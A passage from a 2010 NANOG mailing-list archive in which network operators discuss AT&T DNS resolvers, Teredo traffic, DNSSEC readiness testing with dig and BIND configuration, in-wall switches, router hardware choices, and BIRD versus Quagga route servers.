Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkt6UCoACgkQJmrRtQ6zKE/bAACgtNtqptEN0X1deA+gbr+HilOx OJ0AoKyLc6soMTi4aKQI4u6HUTWxr7tt =r7yW -----END PGP SIGNATURE----- From michael.t.mcgovern at comcast.net Tue Feb 16 06:28:17 2010 From: michael.t.mcgovern at comcast.net (Michael McGovern) Date: Tue, 16 Feb 2010 12:28:17 +0000 (UTC) Subject: AT&T resolvers Message-ID: <573912155.4386521266323297370.JavaMail.root@sz0120a.westchester.pa.mail.comcast.net> Does anyone know if AT&T has public DNS resolvers? We are an AT&T customer and they informed us that we could not use their DNS servers unless we paid for it.? That was several years ago and do not know if they have changed their stance on this.? I?m already a paying customer and I have to pay to use their DNS resolvers? From nanog at daork.net Tue Feb 16 06:36:14 2010 From: nanog at daork.net (Nathan Ward) Date: Wed, 17 Feb 2010 01:36:14 +1300 Subject: AT&T resolvers In-Reply-To: <573912155.4386521266323297370.JavaMail.root@sz0120a.westchester.pa.mail.comcast.net> References: <573912155.4386521266323297370.JavaMail.root@sz0120a.westchester.pa.mail.comcast.net> Message-ID: <9737061A-F72C-4534-966B-8CD8063FB724@daork.net> On 17/02/2010, at 1:28 AM, Michael McGovern wrote: > Does anyone know if AT&T has public DNS resolvers? We are an AT&T customer and they informed us that we could not use their DNS servers unless we paid for it. That was several years ago and do not know if they have changed their stance on this. I?m already a paying customer and I have to pay to use their DNS resolvers? A few moments on Google finds: - 68.94.156.1 - 68.94.157.1 They seem to work. I suspect you asked them the wrong question, or they interpreted your question incorrectly, or for some other reason thought you wanted them to be authoritative for some zone you control. -- Nathan Ward From tjc at ecs.soton.ac.uk Tue Feb 16 08:00:13 2010 From: tjc at ecs.soton.ac.uk (Tim Chown) Date: Tue, 16 Feb 2010 14:00:13 +0000 Subject: Denic (.de) blocking 6to4 nameservers (since begin feb 2010) In-Reply-To: References: <201002112116.o1BLGuV3017550@drugs.dv.isc.org> <20100215160326.GE20660@login.ecs.soton.ac.uk> <8660C2D3-3FC3-4F55-BC77-C48FBAE1D32C@daork.net> <8F0F75CE-D5BE-4C83-B8EA-50F602932BC7@daork.net> <84BC7B12-2AAB-4663-918A-CEF288CB2092@daork.net> <20100216140013.GH6195@login.ecs.soton.ac.uk> Message-ID: On Tue, Feb 16, 2010 at 08:14:13AM +0100, Mikael Abrahamsson wrote: > On Tue, 16 Feb 2010, Nathan Ward wrote: > > >Perhaps they have Teredo and 6to4, and could not reach you via 6to4 so > >instead used Teredo, or, any number of scenarios. > > I think their only IPv6 connectivity was Teredo (for instance, they're > behind NAT), and thus they used it to get the IPv6 only content. So for our case here at Southampton our web presence www.ecs.soton.ac.uk is advertised via both A and AAAA records. What we see is less than 1% of our IPv6 traffic coming from the Teredo prefix. 6to4 is at most 1%. I think the reason we see less 6to4 than some might expect is that a lot of our IPv6 accesses may be from other academic networks where IPv6 is available 'properly'. I had our web guys send me a log of recent Teredo accesses to our servers and the user agents were varied. As Tore suggested, Opera 9.8 was on the list (since fixed), but also some Mozilla-based entries from both Linux and Windows platforms. Total entries: 761 Opera 9.8: 354 Firefox 3.5.7 (Windows): 61 Firefox 3.5.7 (Linux): 96 Iceweasel 3.5.6 (Linux): 8 Mozilla 4.0 (Windows): 242 Not a huge sample, but it shows Windows UAs hitting us from the Teredo prefix. -- Tim From marka at isc.org Tue Feb 16 08:22:38 2010 From: marka at isc.org (Mark Andrews) Date: Wed, 17 Feb 2010 01:22:38 +1100 Subject: DNSSEC Readiness In-Reply-To: Your message of "Mon, 15 Feb 2010 23:58:39 -0800." <4B7A502F.8000204@knownelement.com> References: <4B798F1E.6080403@knownelement.com> <201002160016.o1G0GKUT099077@drugs.dv.isc.org> <4B7A502F.8000204@knownelement.com> Message-ID: <201002161422.o1GEMcXS085932@drugs.dv.isc.org> In message <4B7A502F.8000204 at knownelement.com>, Charles N Wyble writes: > > Repeat for IPv6. > > > > dig -6 ns . +norec @l.root-servers.net > > dig -6 ns . +dnssec +cd +norec @l.root-servers.net > > dig -6 any . +dnssec +cd +norec @l.root-servers.net > > dig -6 any . +dnssec +cd +norec @l.root-servers.net +vc > > > > Mark > > Thank you. That's a nice quick/dirty test. > > All 4 commands worked. > > If folks are curious, my setup is Ubuntu 9.10 client, Ubuntu 9.10 server > running bind and a cisco 1841 running 12.4(18). I don't have a Windows > box handy to test on. How would one test with nslookup anyway? Or does > it only matter if the local DNS server can do the lookup and clients > will just work? Though one would still need to test from Windows if you > have AD for DNS I suppose. *shrugs* > > Ok.... that's the client side. That's a path test. Next are system tests. You should get answers to all of below and you should have "ad" set in the "se" query. named.test.conf: trusted-keys { dlv.isc.org. 257 3 5 "BEAAAAPHMu/5onzrEE7z1egmhg/WPO0+juoZrW3euWEn4MxDCE1+lLy2brhQv5rN32RKtMzX6Mj70jdzeND4XknW58dnJNPCxn8+jAGl2FZLK8t+1uq4W+nnA3qO2+DL+k6BD4mewMLbIYFwe0PG73Te9fZ2kJb56dhgMde5ymX4BI/oQ+cAK50/xvJv00Frf8kw6ucMTwFlgPe+jnGxPPEmHAte/URkY62ZfkLoBAADLHQ9IrS2tryAe7mbBZVcOwIeU/Rw/mRx/vwwMCTgNboMQKtUdvNXDrYJDSHZws3xiRXF1Rf+al9UmZfSav/4NWLKjHzpT59k/VStTDN0YUuWrBNh"; }; options { listen-on port 4444 { 127.0.0.1; }; dnssec-enable yes; dnssec-validation yes; dnssec-lookaside . trust-anchor dlv.isc.org; }; dig -p 4444 @127.0.0.1 +dnssec se soa dig -p 4444 @127.0.0.1 +dnssec . dig -p 4444 @127.0.0.1 +dnssec www.microsoft.com Once you are confident you can add these to you normal named.conf. See https://www.isc.org/solutions/dlv for more details and subscribe to dlv-announce at isc.org so you will get reminders about when to update the trusted-keys statement. When the root is signed you will want to add a trusted-keys clause for it as well. I wouldn't suggest tracking more trusted keys than that for the moment. > How about the server side? > > I'm currently using my registrars DNS servers. I haven't seen anything > in their control panel about DNSSEC. One item on my TODO list is to move > DNS to my BIND servers. > > Quick search turns up > http://www.howtoforge.com/debian_bind9_master_slave_system which > mentions a few commands and couple stanzas. Is that all it takes? > How do you verify that you are .... compliant? complete? I mean SSL > based PKI is pretty straightforward and I understand it and can verify > that I'm compliant/complete (run my own ca, issue certs, delegate trust > etc). Guess I need to do more reading on DNSSEC and how to integrate > into the global DNSSEC infrastructure (such as it is and will emerge to > be). I have a test domain that I use for things like this. I would like > to setup DNSSEC and then positively/negatively test it. Just not sure > how. Presumably one should attempt to MITM the request and make sure the > resolver complains yes? > > This is at my home network and as such I have a great degree of > latitude. For folks who have managers to report to, what are the > justifications for deploying DNSSEC? > > I think one would do it in stages > > 1)Make sure their infrastructure can at least handle the DNS protocol > changes that DNSSEC brings about (ie the 4 test commands above pass) > > 2)Implement a parallel environment with and without DNSSEC (is this > possible/desirable?) > > 3)Sign their records. > > Anyway just some thoughts. > > Thanks to folks who have responded so far. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org > > iEYEARECAAYFAkt6UCoACgkQJmrRtQ6zKE/bAACgtNtqptEN0X1deA+gbr+HilOx > OJ0AoKyLc6soMTi4aKQI4u6HUTWxr7tt > =r7yW > -----END PGP SIGNATURE----- > -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: marka at isc.org From khomyakov.andrey at gmail.com Tue Feb 16 10:28:23 2010 From: khomyakov.andrey at gmail.com (Andrey Khomyakov) Date: Tue, 16 Feb 2010 11:28:23 -0500 Subject: In wall switches Message-ID: <6fa15a3f1002160828v5cfb93bdh39b611de7f0f8857@mail.gmail.com> Hi folks, Does anyone know of anything like a small, but managed in wall switch? I have an area where the business needs to deploy more thin client kiosks than I have data drops and it's impossible to add more due to how the walls on that floor (basement) where finished. I found this little device from HP http://www.procurve.com/products/wireless/HP_ProCurve_MultiService_Access_Device_Series/overview.htm#J9422Afor under $250 a pop. Even though it's a WiFi AP, I don't care for wifi functionality of that. I just want to avoid throwing 5 port linksys's all over the floor there. Has anyone seen anything like that HP or worked with that HP at all? Can I manage it without buying the controller? Thanks, Andrey PS. You probably have seen posts from me before as Andrey Gordon. I recently changed my name to Andrey Khomyakov. Just making the connection if anyone cares. -- From rand at meridian-enviro.com Tue Feb 16 10:45:44 2010 From: rand at meridian-enviro.com (Douglas K. Rand) Date: Tue, 16 Feb 2010 10:45:44 -0600 Subject: In wall switches In-Reply-To: <6fa15a3f1002160828v5cfb93bdh39b611de7f0f8857@mail.gmail.com> (Andrey Khomyakov's message of "Tue\, 16 Feb 2010 11\:28\:23 -0500") References: <6fa15a3f1002160828v5cfb93bdh39b611de7f0f8857@mail.gmail.com> Message-ID: <874olhxh6v.fsf@delta.meridian-enviro.com> > Does anyone know of anything like a small, but managed in wall switch? We had looked at the 3com NJ90 for a deployment. We ended up pulling more wire instead, but it was a cool device. It isn't managed. But from the 3com page I see that they now have new devices, the NJ220 for managed fast Ethernet, and a NJ2000 for gigE. From joelja at bogus.com Tue Feb 16 10:47:55 2010 From: joelja at bogus.com (Joel Jaeggli) Date: Tue, 16 Feb 2010 08:47:55 -0800 Subject: In wall switches In-Reply-To: <6fa15a3f1002160828v5cfb93bdh39b611de7f0f8857@mail.gmail.com> References: <6fa15a3f1002160828v5cfb93bdh39b611de7f0f8857@mail.gmail.com> Message-ID: <4B7ACC3B.90806@bogus.com> 3com nj1000 3com nj90 etc. Andrey Khomyakov wrote: > Hi folks, > > Does anyone know of anything like a small, but managed in wall switch? I > have an area where the business needs to deploy more thin client kiosks than > I have data drops and it's impossible to add more due to how the walls on > that floor (basement) where finished. > I found this little device from HP > http://www.procurve.com/products/wireless/HP_ProCurve_MultiService_Access_Device_Series/overview.htm#J9422Afor > under $250 a pop. > > Even though it's a WiFi AP, I don't care for wifi functionality of that. I > just want to avoid throwing 5 port linksys's all over the floor there. > Has anyone seen anything like that HP or worked with that HP at all? Can I > manage it without buying the controller? > > Thanks, > Andrey > > PS. You probably have seen posts from me before as Andrey Gordon. I recently > changed my name to Andrey Khomyakov. Just making the connection if anyone > cares. > -- > From GFarrar at networkhardware.com Tue Feb 16 10:47:04 2010 From: GFarrar at networkhardware.com (Graham Farrar) Date: Tue, 16 Feb 2010 08:47:04 -0800 Subject: Recommendations for router with routed copper gig-e ports? In-Reply-To: <07e801caadb6$23b15dc0$6b141940$@org> References: <07e801caadb6$23b15dc0$6b141940$@org> Message-ID: <5D2B264604643843B933666791F5D52F082B7CF8@nhrglma1.networkhardware.local> Some different router options Here are three, each w/ different levels of capability: Option #1 - CISCO3845 (3RU tall) 1x CISCO3845 2x MEM3800-512D 2x HWIC-1GE-SFP 1x GLC-SX-MM This will provide 4x GbE ports, which will fill the minimum need as described below. Option #2 - CISCO7204VXR (3RU tall) 1x CISCO7204VXR 1x NPE-G2 1x C7200-I/O-GE+E 2x PA-GE 2x PWR-7200-AC This will provide 6x GbE ports (though 3x will be fiber only - this is a good option in terms of performance, so I still put it out there, as it may be possible to work around). Performance wise, this is about 4x as powerful as the 3845 above. If we need an in-between option, replace the NPE-G2 with an NPE-G1 - the G1 is about 2x as powerful as the 3845. Option #3 - Cat6500 (4RU tall) 1x WS-C6503-E 2x PWR-1400-AC 2x PEM-20A-AC 1x WS-SUP720-3BXL 1x WS-X6516-GE-TX The maximum performance option, the 6503-E here is capable of 40Gbps/slot (as configured, the 16 port GbE card gets 8Gbps of throughput). If DC power is needed, you can change to the 7603-S chassis, which is the same form factor, just available with high-output DC power (which would be needed here). For all 3 options, DC power is available if needed. ??????????????????????????????????????????????????????????????????????????? Graham Farrar?? ? +1 805 690.3714 AIM IM: GrahamNHR / Fax: 805 690.1825 Network Hardware Resale, LLC. -----Original Message----- From: Lorell Hathcock [mailto:lorell at hathcock.org] Sent: Sunday, February 14, 2010 12:42 PM To: 'North American Network Operators Group' Subject: Recommendations for router with routed copper gig-e ports? All: I'm involved in a project where we are cutting over a WISP from being a single broadcast domain into the grownup real world of routing between tower nodes. Of course the equipment is all Mikrotik and the single broadcast domain was easy to implement, so that's why it was done this way. My problem on the redesign is I want to provide routed, copper gig-e ports at a reasonable price per port. My thought is to provide one copper gig-e port for all of the APs at a tower and a copper gig-e port for each backhaul to other towers (typically 2 to 4). On the core nodes, I want to have one fiber gig-e port for the internet connection. BGP would be implemented on the routers that connect to the internet. OSPF would be implemented on all of the backhaul ports. So number of routed, copper gig-e ports at each tower would be: 1 - AP network (need suggestion for cost effective gig-e switch) 2 to 4 - back haul ports 1 - internet port (on one out of every 4 towers or so) (and most likely fiber instead of copper) Does anyone have any suggestions? Sincerely, Lorell Hathcock OfficeConnect.net | 832-665-3400 x101 (o) | 713-992-2343 (f) | lorell at officeconnect.net Texas State Security Contractor License | ONSSI Certified Channel Partner Axis Communications Channel Partner | BICSI Corporate Member Leviton Authorized Installer From jeff-kell at utc.edu Tue Feb 16 11:01:24 2010 From: jeff-kell at utc.edu (Jeff Kell) Date: Tue, 16 Feb 2010 12:01:24 -0500 Subject: In wall switches In-Reply-To: <874olhxh6v.fsf@delta.meridian-enviro.com> References: <6fa15a3f1002160828v5cfb93bdh39b611de7f0f8857@mail.gmail.com> <874olhxh6v.fsf@delta.meridian-enviro.com> Message-ID: <4B7ACF64.3030703@utc.edu> On 2/16/2010 11:45 AM, Douglas K. Rand wrote: >> Does anyone know of anything like a small, but managed in wall switch? >> > We had looked at the 3com NJ90 for a deployment. We ended up pulling > more wire instead, but it was a cool device. It isn't managed. But from > the 3com page I see that they now have new devices, the NJ220 for > managed fast Ethernet, and a NJ2000 for gigE. > We have a number of NS220s out there working fine, but they are either EOS/EOL or their clocks are ticking. There is the NJ2000 series, but they have "issues" with management and proper reporting (our network management gear can't quite properly manage them as the NJ220s). Jeff From giulianocm at uol.com.br Tue Feb 16 11:11:16 2010 From: giulianocm at uol.com.br (GIULIANOCM (UOL)) Date: Tue, 16 Feb 2010 15:11:16 -0200 Subject: Recommendations for router with routed copper gig-e ports? In-Reply-To: <5D2B264604643843B933666791F5D52F082B7CF8@nhrglma1.networkhardware.local> References: <07e801caadb6$23b15dc0$6b141940$@org> <5D2B264604643843B933666791F5D52F082B7CF8@nhrglma1.networkhardware.local> Message-ID: <4B7AD1B4.5040102@uol.com.br> Following some JUNIPER Models that can help you: JUNIPER SRX-650 http://www.juniper.net/us/en/products-services/security/srx-series/srx650/ you can add some GPIM boards: http://www.juniper.net/us/en/products-services/security/srx-series/srx650/#ordering It is and amazing router with big performance. 1 Million BGP routes and big packet processing performance (hardware based). JUNIPER EX-4200 (1 GB DRAM and 1 GB Flash OSPF in baseline product) http://www.juniper.net/us/en/products-services/switching/ex-series/ex4200/ 24 or 48 ports with or without PoE (at least 8 PoE ports at any model). Can use dual AC or DC fonts. JUNIPER EX-2200 (New with pretty good prices for gigabit performance) http://www.juniper.net/us/en/products-services/switching/ex-series/ex2200/ JUNIPER EX-8208 (100G per slot) http://www.juniper.net/us/en/products-services/switching/ex-series/ex8200/ Att, Giuliano From leigh.porter at ukbroadband.com Tue Feb 16 11:14:19 2010 From: leigh.porter at ukbroadband.com (Leigh Porter) Date: Tue, 16 Feb 2010 17:14:19 +0000 Subject: Recommendations for router with routed copper gig-e ports? In-Reply-To: <4B7AD1B4.5040102@uol.com.br> References: <07e801caadb6$23b15dc0$6b141940$@org> <5D2B264604643843B933666791F5D52F082B7CF8@nhrglma1.networkhardware.local> <4B7AD1B4.5040102@uol.com.br> Message-ID: <4B7AD26B.5090100@ukbroadband.com> The J-series units from Juniper also work quite well. Don't forget to look at Brocade and other switches with L3 capability. -- Leigh On 16/02/10 17:11, GIULIANOCM (UOL) wrote: > Following some JUNIPER Models that can help you: > > JUNIPER SRX-650 > > http://www.juniper.net/us/en/products-services/security/srx-series/srx650/ > > > you can add some GPIM boards: > > http://www.juniper.net/us/en/products-services/security/srx-series/srx650/#ordering > > > It is and amazing router with big performance. 1 Million BGP routes > and big packet processing performance (hardware based). > > > > JUNIPER EX-4200 (1 GB DRAM and 1 GB Flash OSPF in baseline product) > > http://www.juniper.net/us/en/products-services/switching/ex-series/ex4200/ > > > 24 or 48 ports with or without PoE (at least 8 PoE ports at any model). > Can use dual AC or DC fonts. > > > > > JUNIPER EX-2200 (New with pretty good prices for gigabit performance) > > http://www.juniper.net/us/en/products-services/switching/ex-series/ex2200/ > > > > > > JUNIPER EX-8208 (100G per slot) > > http://www.juniper.net/us/en/products-services/switching/ex-series/ex8200/ > > > > > Att, > > Giuliano > From jabley at hopcount.ca Tue Feb 16 11:24:20 2010 From: jabley at hopcount.ca (Joe Abley) Date: Tue, 16 Feb 2010 09:24:20 -0800 Subject: Recommendations for router with routed copper gig-e ports? In-Reply-To: <07e801caadb6$23b15dc0$6b141940$@org> References: <07e801caadb6$23b15dc0$6b141940$@org> Message-ID: On 2010-02-14, at 12:41, Lorell Hathcock wrote: > My problem on the redesign is I want to provide routed, copper gig-e ports > at a reasonable price per port. Force10 S25N/S50N. http://www.force10networks.com/products/s50n.asp If you look for used models, make sure they're not so old that they can't run FTOS. You don't want SFTOS, which is what the older switches run. They work nicely in a stack, when you find you need to grow. Joe From standalone.sysadmin at gmail.com Tue Feb 16 11:26:27 2010 From: standalone.sysadmin at gmail.com (Matt Simmons) Date: Tue, 16 Feb 2010 12:26:27 -0500 Subject: In wall switches In-Reply-To: <4B7ACF64.3030703@utc.edu> References: <6fa15a3f1002160828v5cfb93bdh39b611de7f0f8857@mail.gmail.com> <874olhxh6v.fsf@delta.meridian-enviro.com> <4B7ACF64.3030703@utc.edu> Message-ID: <5bcb62b61002160926r1c67d7feo571fc39496a92ca8@mail.gmail.com> I'm going to be implementing some NJ220 switches. They are EOL, and only 10/100, but their feature set is impressive for their size. I wish they had more than one PoE port, since I'm using them to deploy VoIP to a remote office, but in the end, this will be cheaper for us than strapping a "real" PoE switch to each desk. Normally, I'd have one large PoE switch centralized, but due to building issues, it is impossible for us to run more wires up the 5 floors to our office from the central location, and it's cost prohibitive to run horizontal wires. So we're stuck with this kludge. I'm just glad it's an option, frankly. --Matt On Tue, Feb 16, 2010 at 12:01 PM, Jeff Kell wrote: > On 2/16/2010 11:45 AM, Douglas K. Rand wrote: >>> Does anyone know of anything like a small, but managed in wall switch? >>> >> We had looked at the 3com NJ90 for a deployment. We ended up pulling >> more wire instead, but it was a cool device. It isn't managed. But from >> the 3com page I see that they now have new devices, the NJ220 for >> managed fast Ethernet, and a NJ2000 for gigE. >> > > We have a number of NS220s out there working fine, but they are either > EOS/EOL or their clocks are ticking. > > There is the NJ2000 series, but they have "issues" with management and > proper reporting (our network management gear can't quite properly > manage them as the NJ220s). > > Jeff > > -- LITTLE GIRL: But which cookie will you eat FIRST? COOKIE MONSTER: Me think you have misconception of cookie-eating process. From dmm at 1-4-5.net Tue Feb 16 12:41:13 2010 From: dmm at 1-4-5.net (David Meyer) Date: Tue, 16 Feb 2010 10:41:13 -0800 Subject: [NANOG-announce] Lightning talks open for NANOG 48 Message-ID: <20100216184113.GA7491@1-4-5.net> Get yours in now! Looking forward to seeing all of you in Austin. Dave (for the NANOG PC) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 197 bytes Desc: Digital signature URL: -------------- next part -------------- _______________________________________________ NANOG-announce mailing list NANOG-announce at nanog.org http://mailman.nanog.org/mailman/listinfo/nanog-announce From surfer at mauigateway.com Tue Feb 16 12:41:29 2010 From: surfer at mauigateway.com (Scott Weeks) Date: Tue, 16 Feb 2010 10:41:29 -0800 Subject: In wall switches Message-ID: <20100216104129.B5C33877@resin12.mta.everyone.net> --- standalone.sysadmin at gmail.com wrote: From: Matt Simmons I'm going to be implementing some NJ220 switches. They are EOL, and only 10/100, but their feature set is impressive for their size. I ----------------------------------------------- That sounds like a big gamble. Buy extras. Lots of them... ;-) scott From standalone.sysadmin at gmail.com Tue Feb 16 12:57:45 2010 From: standalone.sysadmin at gmail.com (Matt Simmons) Date: Tue, 16 Feb 2010 13:57:45 -0500 Subject: In wall switches In-Reply-To: <20100216104129.B5C33877@resin12.mta.everyone.net> References: <20100216104129.B5C33877@resin12.mta.everyone.net> Message-ID: <5bcb62b61002161057t4456efb6x64a34e8c2dbc9ec0@mail.gmail.com> I'm buying a few extras, but not that many. There's a glut of hardware out there that's for sale. By the time I need more and can't source them from retailers, the building would have crumbled into dust. My estimate is 5-10 years ;-) Seriously though, if I can't source more, it won't be the end of the world. I'll just strap switches to the desks. The in-wall formfactor is neat, though. On Tue, Feb 16, 2010 at 1:41 PM, Scott Weeks wrote: > > > --- standalone.sysadmin at gmail.com wrote: > From: Matt Simmons > > I'm going to be implementing some NJ220 switches. They are EOL, and > only 10/100, but their feature set is impressive for their size. I > ----------------------------------------------- > > > > That sounds like a big gamble. ?Buy extras. ?Lots of them... ?;-) > > scott > > -- LITTLE GIRL: But which cookie will you eat FIRST? COOKIE MONSTER: Me think you have misconception of cookie-eating process. From thomas.mangin at exa-networks.co.uk Tue Feb 16 13:47:13 2010 From: thomas.mangin at exa-networks.co.uk (Thomas Mangin) Date: Tue, 16 Feb 2010 19:47:13 +0000 Subject: BIRD vs Quagga In-Reply-To: <4B772F9D.3010003@nipper.de> References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com><1265876602.17526.1.camel@petrie.dereferenced.org> <2ad0f9f61002111005s42d62754k4f4248e7849567be@mail.gmail.com> <9963A3ED609CA0478546F3814FE42BD3179F3464F9@uscnt1405.us.deloitte.com> <4B75DB7D.9070308@ibctech.ca> <5CC5BD71-7131-4703-9164-564017FD3616@daork.net> <4B772F9D.3010003@nipper.de> Message-ID: <5E340098-35AB-4514-A6D4-E66BBEED54F1@exa-networks.co.uk> > Quagga does not really behave well with lots of peers (lots >> 200), but > there will be an optimized route server version soon. This was discussed today at Linx 68. Linx is very pleased with Bird - they could not get Quagga working due to load issues. With large numbers of peers, the update processing can cause the program to hit his peer HoldTime Timer (with a domino's effect as well). EuroIX is sponsoring some work on Quagga to get the KeepAlive management moved into a separate Thread. During the discussion, a developers of Bird said that their filtering code _may_ still have bugs (when performing community based filtering). Thomas From cmaurand at xyonet.com Tue Feb 16 13:54:29 2010 From: cmaurand at xyonet.com (Curtis Maurand) Date: Tue, 16 Feb 2010 14:54:29 -0500 Subject: DNSSEC Readiness In-Reply-To: <4B799B19.9010100@knownelement.com> References: <4B798F1E.6080403@knownelement.com> <4B799B19.9010100@knownelement.com> Message-ID: <4B7AF7F5.3030302@xyonet.com> I haven't run BIND in a number of years. --Curtis On 2/15/2010 2:06 PM, Charles N Wyble wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Tony Finch wrote: > >> On Mon, 15 Feb 2010, Charles N Wyble wrote: >> >>> How are folks verifying DNSSEC readiness of their environments? Any >>> existing testing methodologies / resources that folks are using? >>> >> Here's my summary of the situation (as of a couple of months ago) with >> links to a few key resources: http://fanf.livejournal.com/104774.html >> >> Tony. >> > Most interesting. Thanks. > > - From https://www.dns-oarc.net/oarc/services/replysizetest > > charles at charles-laptop:~] dig +short rs.dns-oarc.net txt > rst.x3827.rs.dns-oarc.net. > rst.x3837.x3827.rs.dns-oarc.net. > rst.x3843.x3837.x3827.rs.dns-oarc.net. > "8.0.23.143 sent EDNS buffer size 4096" > "8.0.23.143 DNS reply size limit is at least 3843" > "Tested at 2010-02-15 19:03:47 UTC" > charles at charles-laptop:~] > > I have a local BIND server I use for DNS. It's whatever Ubuntu 9.10 > installs with apt-get, and a cisco 1841 as my edge router. > > I imagine that is a pretty standard setup in a lot of user sites (linux > with bind and a cisco router of some sort). > > Will do further investigation. > > - -- > Charles N Wyble > Linux Systems Engineer > charles at knownelement.com (818)280-7059 > http://www.knownelement.com > Unless agreed upon, assume everything in this e-mail might be blogged. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org > > iEYEARECAAYFAkt5mxQACgkQJmrRtQ6zKE99PwCgh5ikE7LRywT610jG4QkkTE4n > lyoAoMT67y/fGQHadGC6aHyRzRzQsxZi > =K8sW > -----END PGP SIGNATURE----- > > From khomyakov.andrey at gmail.com Tue Feb 16 14:21:18 2010 From: khomyakov.andrey at gmail.com (Andrey Khomyakov) Date: Tue, 16 Feb 2010 15:21:18 -0500 Subject: In wall switches In-Reply-To: <4B7ACF64.3030703@utc.edu> References: <6fa15a3f1002160828v5cfb93bdh39b611de7f0f8857@mail.gmail.com> <874olhxh6v.fsf@delta.meridian-enviro.com> <4B7ACF64.3030703@utc.edu> Message-ID: <6fa15a3f1002161221n4dc02a63wa7eb51f498e225be@mail.gmail.com> Jeff, if not much trouble, can you elaborate on the "can't quite properly managed them" bit? Thank you, Andrey On Tue, Feb 16, 2010 at 12:01 PM, Jeff Kell wrote: > > We have a number of NS220s out there working fine, but they are either > EOS/EOL or their clocks are ticking. > > There is the NJ2000 series, but they have "issues" with management and > proper reporting (our network management gear can't quite properly > manage them as the NJ220s). > > Jeff > > -- ---- Andrey Khomyakov [khomyakov.andrey at gmail.com] From jeff-kell at utc.edu Tue Feb 16 14:34:56 2010 From: jeff-kell at utc.edu (Jeff Kell) Date: Tue, 16 Feb 2010 15:34:56 -0500 Subject: In wall switches In-Reply-To: <6fa15a3f1002161221n4dc02a63wa7eb51f498e225be@mail.gmail.com> References: <6fa15a3f1002160828v5cfb93bdh39b611de7f0f8857@mail.gmail.com> <874olhxh6v.fsf@delta.meridian-enviro.com> <4B7ACF64.3030703@utc.edu> <6fa15a3f1002161221n4dc02a63wa7eb51f498e225be@mail.gmail.com> Message-ID: <4B7B0170.1010606@utc.edu> On 2/16/2010 3:21 PM, Andrey Khomyakov wrote: > Jeff, > > if not much trouble, can you elaborate on the "can't quite properly > managed them" bit? We use [an orange-and-blue appliance] for NAC. It can usually vendor-agnostically flip vlans on a switchport with a rather diverse API of telnet/ssh/SNMP/etc commands to do so based on the OID of the switch, across a sizeable number of vendors/platforms. It does work with the NJ220s. From other users who have tried, and from the vendor when asked, I was just told that they could not get it to work, without an elaborate explanation. It is not on their supported platform list (while the NJ220 is). I haven't gone as far as getting one for testing purposes and snmpwalking my way through the process to see where it "breaks". Jeff From marka at isc.org Tue Feb 16 14:57:26 2010 From: marka at isc.org (Mark Andrews) Date: Wed, 17 Feb 2010 07:57:26 +1100 Subject: DNSSEC Readiness In-Reply-To: Your message of "Tue, 16 Feb 2010 14:54:29 CDT." <4B7AF7F5.3030302@xyonet.com> References: <4B798F1E.6080403@knownelement.com> <4B799B19.9010100@knownelement.com> <4B7AF7F5.3030302@xyonet.com> Message-ID: <201002162057.o1GKvQXH095079@drugs.dv.isc.org> In message <4B7AF7F5.3030302 at xyonet.com>, Curtis Maurand writes: > > I haven't run BIND in a number of years. There are a number of vendors that support DNSSEC on both the server side and on the client side. Check with your vendor about what they support. Mark -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: marka at isc.org From nick at foobar.org Tue Feb 16 15:26:50 2010 From: nick at foobar.org (Nick Hilliard) Date: Tue, 16 Feb 2010 21:26:50 +0000 Subject: BIRD vs Quagga In-Reply-To: <5E340098-35AB-4514-A6D4-E66BBEED54F1@exa-networks.co.uk> References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com><1265876602.17526.1.camel@petrie.dereferenced.org> <2ad0f9f61002111005s42d62754k4f4248e7849567be@mail.gmail.com> <9963A3ED609CA0478546F3814FE42BD3179F3464F9@uscnt1405.us.deloitte.com> <4B75DB7D.9070308@ibctech.ca> <5CC5BD71-7131-4703-9164-564017FD3616@daork.net> <4B772F9D.3010003@nipper.de> <5E340098-35AB-4514-A6D4-E66BBEED54F1@exa-networks.co.uk> Message-ID: <4B7B0D9A.3010401@foobar.org> On 16/02/2010 19:47, Thomas Mangin wrote: > During the discussion, a developers of Bird said that their filtering > code _may_ still have bugs (when performing community based > filtering). medium-long term, community based route-server filtering has no future. There will be two reasons for its demise: it cannot easily accommodate asn32 and it does not allow predetermined filtering and hence sane loc-rib instance management. I touched on this briefly at my uknof talk recently, but long term, the writing is on the wall for this sort of filtering. Nick From mpalmer at hezmatt.org Tue Feb 16 15:30:03 2010 From: mpalmer at hezmatt.org (Matthew Palmer) Date: Wed, 17 Feb 2010 08:30:03 +1100 Subject: BIRD vs Quagga In-Reply-To: <5E340098-35AB-4514-A6D4-E66BBEED54F1@exa-networks.co.uk> References: <2ad0f9f61002111005s42d62754k4f4248e7849567be@mail.gmail.com> <9963A3ED609CA0478546F3814FE42BD3179F3464F9@uscnt1405.us.deloitte.com> <4B75DB7D.9070308@ibctech.ca> <5CC5BD71-7131-4703-9164-564017FD3616@daork.net> <4B772F9D.3010003@nipper.de> <5E340098-35AB-4514-A6D4-E66BBEED54F1@exa-networks.co.uk> Message-ID: <20100216213003.GT30238@hezmatt.org> On Tue, Feb 16, 2010 at 07:47:13PM +0000, Thomas Mangin wrote: > (with a domino's effect as well). Your routes processed in 30 minutes or it's free? - Matt (Yeah, I know, back in my hole...) From pauldotwall at gmail.com Tue Feb 16 15:32:09 2010 From: pauldotwall at gmail.com (Paul Wall) Date: Tue, 16 Feb 2010 13:32:09 -0800 Subject: AT&T resolvers In-Reply-To: <9737061A-F72C-4534-966B-8CD8063FB724@daork.net> References: <573912155.4386521266323297370.JavaMail.root@sz0120a.westchester.pa.mail.comcast.net> <9737061A-F72C-4534-966B-8CD8063FB724@daork.net> Message-ID: <620fd17c1002161332k5c0560dbrb62cc9f640171af3@mail.gmail.com> On Tue, Feb 